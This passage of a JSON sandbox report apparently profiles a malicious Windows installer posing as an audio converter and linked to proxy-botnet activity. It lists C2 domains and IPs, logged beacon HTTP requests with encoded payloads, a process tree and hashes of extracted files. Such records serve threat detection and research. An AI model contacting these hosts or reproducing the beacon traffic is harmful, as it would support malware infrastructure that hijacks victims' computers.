8be2a03e3d63ed7268f6439c"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:aa321eddbfd0b4e0a0f7d21c6f6d39d35e793e3695f480c95fb0cf139a41f4e7"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:89174706535125fe102e33884957d49b56afc918f70c9b95339e4314f2cc11f5"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:57e57c4280434de0a072e7af734083164eb66fb09260a92ec467bb7398831529"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:0c9dbab264861da7904ff1e5a2c2684782633e6bd8a24ef137f5091fb65dba75"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:9e0220511d4ebdb014cc17ecb8319d57e3b0fea09681a80d8084aa8647196582"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:555548c6c5646490ac0f783e72dad494dfbbdaf201c7167211d99ceb6ed9e423"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:355f202ffd0106f6af1810742223cd92f96a63f0e4867d963152cb52b171653b"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:16ea0cf66d51efdbbc2a62b11ab0419fa72fb3320844f1d0d710480245ac9925"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:40fbf64390d6f687867819109279faf094accd1656b63288ff9343b7fd22f156"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:5883b59e7d562203d416e61006d0408d59a9ba913af5f682039fe651a1dc5849"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:9fef8766b9debd70c5ca0f1899c9d0e0eb84b545e0f07efd8103c2d41107f38a"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:67abdd721024f0ff4e0b3f4c2fc13bc5bad42d0b7851d456d88d203d15aaa450"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:870555cdcba1f066d893554731ae99a21ae776d41bcb680cbd6510cb9f420e3d"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:458677cdf0e1a4e87d32ab67d6a5eea9e67cb3545d79a21a0624e6bb5e1087e7"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:837fb6a89ded7e3917661c39bbd26305f958ef586c67503a9b08502fa5eb3022"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:89174706535125fe102e33884957d49b56afc918f70c9b95339e4314f2cc11f5"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:0c9dbab264861da7904ff1e5a2c2684782633e6bd8a24ef137f5091fb65dba75"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:57e57c4280434de0a072e7af734083164eb66fb09260a92ec467bb7398831529"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:8c32b39bece32598853babe9e7a8d0423426d20e8be2a03e3d63ed7268f6439c"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:aa321eddbfd0b4e0a0f7d21c6f6d39d35e793e3695f480c95fb0cf139a41f4e7"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:9e0220511d4ebdb014cc17ecb8319d57e3b0fea09681a80d8084aa8647196582"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:565689a09c8fade28a711d0603d73b92194cbb35f94b9646079966e3289a0710"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:7c7434fdc0abec43569c82ec9533c1b1ee4c6f2f6704e3becf72d79e7e950b69"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":11,"spawned_processes_count":11,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":136,"dropped_files_count":0,"extracted_files_count":41,"files_written_count":229,"files_deleted_count":0,"registry_keys_created_count":10,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":14,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":10,"dns_resolutions_count":13,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["downware","injected","installcore","pua","pup","windows-server-utility","commodity","proxy","socks5systemz","criminal"],"sample_flags":["Multi-Process","Extracted Files","Sample Crashed","Network Traffic"],"sandbox_reports":[{"id":"6a8b4c812756b4af3e0f227e","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["CHE","HKG","LTU","RUS","SWE","USA"],"submit_name":"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","analysis_start_time":"2026-08-23T19:39:47+00:00","indicators_count":{"informative":251,"suspicious":76,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"65a7a731253eb3b1390307c2","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"UDS:AdWare.MultiPlug","submit_name":"file","analysis_start_time":"2024-01-17T10:08:50+00:00","indicators_count":{"informative":183,"suspicious":42,"malicious":7},"tags":["Multi-Process","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"152.89.198.214","port":53,"protocol":"UDP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"91.211.247.248","port":53,"protocol":"UDP","country":"Lithuania","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"185.196.9.67","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"173.208.215.98","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"178.16.55.185","port":2023,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"209.99.187.121","port":80,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"109.230.199.109","port":80,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"45.155.250.90","port":53,"protocol":"UDP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"141.98.234.31","port":53,"protocol":"UDP","country":"Hong Kong SAR China","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"address":"45.11.182.186","port":80,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"dns_resolutions":[{"domain":"budjduf.com","address":"185.196.9.67","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"ccjbcuu.net","address":"185.196.9.67","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"dikubzw.info","address":"185.196.9.67","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"fqoezsu.ru","address":"173.208.215.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"fqwjuiu.ru","address":"173.208.215.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"hchwljv.net","address":"173.208.215.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"mhbqdbp.com","address":"173.208.215.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"modbdvq.com","address":"173.208.215.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"mugvwji.com","address":"173.208.215.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"scrcsin.net","address":"209.99.187.121","ttl":300,"country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"ubvzoix.ua","address":"209.99.187.121","ttl":300,"country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"wolefim.com","address":"109.230.199.109","ttl":300,"country":"Sweden","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"domain":"xepygkw.net","address":"109.230.199.109","ttl":300,"country":"Sweden","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"http_requests":[{"host":"fqoezsu.ru","host_ip":"173.208.215.98:80","url":"/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992 HTTP/1.1\nHost: fqoezsu.ru\nUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"host":"fqoezsu.ru","host_ip":"173.208.215.98:80","url":"/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1\nHost: fqoezsu.ru\nUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"host":"45.11.182.186","host_ip":"45.11.182.186:80","url":"/rand","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /rand HTTP/1.1\nHost: 45.11.182.186\nAccept: */*","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}],"processes":[{"pid":824,"ppid":0,"name":"file.exe","command_line":"","sha256":"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","normalized_path":"C:\\file.exe","uid":"00000000-00000824","icon":"$6c"},{"pid":5244,"ppid":824,"name":"file.tmp","command_line":"/SL5=\"$A034A,6165424,54272,C:\\file.exe\"","sha256":"86aa513180eb8e718ec3f1b5156fe5b58fb9120425ee660dc2e3b5ee21f1f1f2","normalized_path":"%TEMP%\\is-7FJGB.tmp\\file.tmp","parent_uid":"00000000-00000824","uid":"00000000-00005244"},{"pid":6584,"ppid":5244,"name":"schtasks.exe","command_line":"/Delete /F /TN \"DCR1171\"","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00005244","uid":"00000000-00006584"},{"pid":2852,"ppid":5244,"name":"DioConverterRipper.exe","command_line":"-i","sha256":"cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df","normalized_path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe","parent_uid":"00000000-00005244","uid":"00000000-00002852"},{"pid":1980,"ppid":2852,"name":"WerFault.exe","command_line":"-u -p 2852 -s 616","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00002852","uid":"00000000-00001980"},{"pid":6356,"ppid":2852,"name":"WerFault.exe","command_line":"-u -p 2852 -s 616","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00002852","uid":"00000000-00006356"},{"pid":1844,"ppid":5244,"name":"DioConverterRipper.exe","command_line":"-s","sha256":"cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df","normalized_path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe","parent_uid":"00000000-00005244","uid":"00000000-00001844"},{"pid":828,"ppid":1844,"name":"WerFault.exe","command_line":"-u -p 1844 -s 620","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001844","uid":"00000000-00000828"},{"pid":6196,"ppid":1844,"name":"WerFault.exe","command_line":"-u -p 1844 -s 620","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001844","uid":"00000000-00006196"},{"pid":7076,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 464 -p 2852 -ip 2852","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007076","icon":"$6d"},{"pid":7080,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 464 -p 1844 -ip 1844","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007080","icon":"$6e"}],"all_imported_dlls":["comctl32.dll","WinTypes.dll","fltLib.dll","wow64cpu.dll","advapi32.dll","comdlg32.dll","cfgmgr32.dll","msctf.dll","OpcServices.dll","mpr.dll","ntasn1.dll","clbcatq.dll","kernel.appcore.dll","powrprof.dll","wow64.dll","oleaut32.dll","cryptbase.dll","sechost.dll","VxSSL32.dll","tiptsf.dll","ExplorerFrame.dll","winmm.dll","gdi32.dll","msvcrt.dll","ws2_32.dll","windows.storage.dll","CoreUIComponents.dll","bcrypt.dll","winmmbase.dll","xmllite.dll","shlwapi.dll","version.dll","TextInputFramework.dll","cryptsp.dll","sfc.dll","sfc_os.dll","msvcp_win.dll","imagehlp.dll","sspicli.dll","profapi.dll","setupapi.dll","taskschd.dll","AppxSip.dll","urlmon.dll","ntdll.dll","imm32.dll","uxtheme.dll","aepic.dll","iertutil.dll","bcryptprimitives.dll","ncrypt.dll","apphelp.dll","ucrtbase.dll","shell32.dll","ntmarta.dll","cldapi.dll","ole32.dll","win32u.dll","gdi32full.dll","dwmapi.dll","CoreMessaging.dll","_iscrypt.dll","combase.dll","crypt32.dll","msasn1.dll","wow64win.dll","kernel32.dll","rpcrt4.dll","SHCore.dll","shfolder.dll","RstrtMgr.dll","user32.dll","KernelBase.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","usp10.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","compstui.dll","wininet.dll","npmproxy.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","ktmw32.dll","WSHTCPIP.DLL","api-ms-win-downlevel-advapi32-l2-1-0.dll","netmsg.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","IPHLPAPI.DLL","winhttp.dll","_shfoldr.dll","webio.dll","dhcpcsvc6.dll","rasadhlp.dll","api-ms-win-crt-heap-l1-1-0.dll","api-ms-win-crt-math-l1-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","mswsock.dll","devobj.dll","wship6.dll","FWPUCLNT.DLL","lpk.dll","vcruntime140.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","netprofm.dll","duser.dll","winnsi.dll","userenv.dll","secur32.dll","msimg32.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","dnsapi.dll","api-ms-win-core-localization-l1-2-0.dll","normaliz.dll","api-ms-win-crt-locale-l1-1-0.dll","dui70.dll","devrtl.dll","wshqos.dll","nlaapi.dll","api-ms-win-crt-convert-l1-1-0.dll","imageres.dll","dhcpcsvc.dll","rsaenh.dll","nsi.dll","rpcss.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","RpcRtRemote.dll","msvcp140.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"is-1109E.tmp","sha256":"e9f9ba7399631e9de7cf3f5eb70ad0ac98b1d468a0e5ab134de9d40b7a4e4ac4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"_iscrypt.dll","sha256":"2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-DVM86.tmp","sha256":"565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"DioConverterRipper.exe","sha256":"cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-0C7HI.tmp","sha256":"8c32b39bece32598853babe9e7a8d0423426d20e8be2a03e3d63ed7268f6439c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-5CACI.tmp","sha256":"f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-5OKHT.tmp","sha256":"aa321eddbfd0b4e0a0f7d21c6f6d39d35e793e3695f480c95fb0cf139a41f4e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-9LLAH.tmp","sha256":"d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-AIOLE.tmp","sha256":"89174706535125fe102e33884957d49b56afc918f70c9b95339e4314f2cc11f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-C4Q24.tmp","sha256":"f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-HNVLH.tmp","sha256":"57e57c4280434de0a072e7af734083164eb66fb09260a92ec467bb7398831529","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-IV91A.tmp","sha256":"0c9dbab264861da7904ff1e5a2c2684782633e6bd8a24ef137f5091fb65dba75","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-KP4H3.tmp","sha256":"d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-N3UVQ.tmp","sha256":"565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-48DNH.tmp","sha256":"9e0220511d4ebdb014cc17ecb8319d57e3b0fea09681a80d8084aa8647196582","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"iramsoft.url","sha256":"555548c6c5646490ac0f783e72dad494dfbbdaf201c7167211d99ceb6ed9e423","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-07QKK.tmp","sha256":"355f202ffd0106f6af1810742223cd92f96a63f0e4867d963152cb52b171653b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-0VAGJ.tmp","sha256":"16ea0cf66d51efdbbc2a62b11ab0419fa72fb3320844f1d0d710480245ac9925","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-1C44R.tmp","sha256":"40fbf64390d6f687867819109279faf094accd1656b63288ff9343b7fd22f156","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-1DQB3.tmp","sha256":"5883b59e7d562203d416e61006d0408d59a9ba913af5f682039fe651a1dc5849","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"is-26Q4J.tmp","sha256":"9fef8766b9debd70c5ca0f1899c9d0e0eb84b545e0f07efd8103c2d41107f38a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"Pop3SessionLog_64.exe","sha256":"cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"rc64.dat","sha256":"67abdd721024f0ff4e0b3f4c2fc13bc5bad42d0b7851d456d88d203d15aaa450","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"resource-a.dat","sha256":"870555cdcba1f066d893554731ae99a21ae776d41bcb680cbd6510cb9f420e3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"resource-b.dat","sha256":"458677cdf0e1a4e87d32ab67d6a5eea9e67cb3545d79a21a0624e6bb5e1087e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"ts64.dat","sha256":"837fb6a89ded7e3917661c39bbd26305f958ef586c67503a9b08502fa5eb3022","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-00IKB.tmp","sha256":"89174706535125fe102e33884957d49b56afc918f70c9b95339e4314f2cc11f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-4KSFG.tmp","sha256":"0c9dbab264861da7904ff1e5a2c2684782633e6bd8a24ef137f5091fb65dba75","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-589UP.tmp","sha256":"d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-77VVV.tmp","sha256":"57e57c4280434de0a072e7af734083164eb66fb09260a92ec467bb7398831529","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-D78I7.tmp","sha256":"565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-HS1AK.tmp","sha256":"f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-J39VP.tmp","sha256":"f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b","verdict"